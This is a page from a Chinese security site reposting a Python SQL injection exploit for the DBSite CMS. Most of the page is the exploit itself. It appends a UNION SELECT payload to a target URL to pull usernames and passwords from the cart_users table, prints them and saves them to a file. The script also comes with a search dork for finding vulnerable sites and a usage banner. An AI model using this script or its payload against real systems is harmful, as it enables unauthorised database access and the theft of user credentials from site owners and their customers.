首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
DBSite Remote SQL Injection Vulnerability
来源:http://oversecuritycrew.webnet32.com 作者:God_Of_Pain 发布时间:2010-11-15  

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# --------------------------------------------------------
# Exploit Title: DBSite Remote SQL Injection Vulnerability
# Date: 13/10/2010
# Author: God_Of_Pain
# Version: 1.0
# Tested on: Linux
# --------------------------------------------------------
# ========================================================
# Greetz to: LordTittiS3000 && System_Overide
# Example: http://www.site.it/index.php?id=[SQLi]
# Dork: intext:"Powered by DBSite" inurl:index.php?id=
# ========================================================

import urllib2
import sys
import re
import os
import time
import platform

if platform.system() == "Linux":
 os.system('clear')
elif platform.system() == "Windows":
 os.system('cls')

try:
 testo = """
 *****************************************************************
 *          +----------------------------------------+           *
 *          | CMS DBSite SQL Injection Vulnerability |           *
 *          +----------------------------------------+           *
 *          |     Bug Discovered  By God_Of_Pain     |           *
 *          +----------------------------------------+           *
 *          |      Exploit Coded By God_Of_Pain      |           *
 *          +----------------------------------------+           *
 * ============================================================  *
 * +----------------------------------------------------------+  *
 * |               Usage: Exploit.py <site> <id>              |  *
 * +----------------------------------------------------------+  *
 * |  python exploit.py <http://site.com/index.php?ID=> <10>  |  *
 * +----------------------------------------------------------+  *
 *****************************************************************

 """
 print(testo)
 time.sleep(1)

 target = sys.argv[1]
 ID = sys.argv[2]
 http = "http://"
 sql = "+union+select+concat(0x3e3e3e,USERNAME,0x3a3a3a,PWD,0x3e3e3e),2,3+from+cart_users--"
 newid = "-"
 spa = " "

 if http in target:
  del(http)
 sqli = target + newid + ID + sql
 if spa in sqli:
  del(spa)
 print "Ok, Exploiting..."
 print ""
 time.sleep(1)
 print "Please Wait..."
 print ""
 time.sleep(1)
 try:
  prov = urllib2.urlopen(sqli).read()
  prov2 = re.findall(r">>>(.*)([0-9a-zA-Z])([^<>])(.*)>>>", prov)
  if len(prov2) > 1:
   print "+--------------+"
   print "| Exploit Done |"
   print "+--------------+"
   print "User & Pwd =>   " + prov2[0][0] + prov2[0][1]
   time.sleep(1)
   print ""
   print "Saving User && PWD in a .txt file..."
   print ""
   o = open("User&&PwdDBSiteExploit.txt", "w")
   o.write(prov2[0][0] + prov2[0][1])
   o.close()
   print "Saved!"
   print ""
   print "Thanks for using this Exploit!"
  else:
   print "+----------------------+"
   print "|    Exploit Failed    |"
   print "+----------------------+"
   print "|    I'm so sorry :(   |"
   print "+----------------------+"
 except urllib2.HTTPError:
  print "Sorry! Exploit Failed! There is an error :("
except IndexError:
 print "-* Good Luck! *-"

# The End! :)
# -------------------------------------
# http://oversecuritycrew.webnet32.com/
# -------------------------------------


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Camtron CMNC-200 IP Camera Den
·Foxit Reader 4.1.1 Stack Buffe
·Free WMA MP3 Converter 1.1 Buf
·Realtek Audio Control Panel 1.
·Mozilla Firefox <= 3.6.12 Remo
·Realtek Audio Microphone Calib
·Realtek HD Audio Control Panel
·Power Audio Editor v7.4.3.230
·VbsEdit v 4.7.2.0 (.vbs) Buffe
·Visual MP3 Splitter & Joiner 6
·E-Xoopport v3.1 eCal display.p
·Foxit Reader 4.1.1 Stack Overf
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved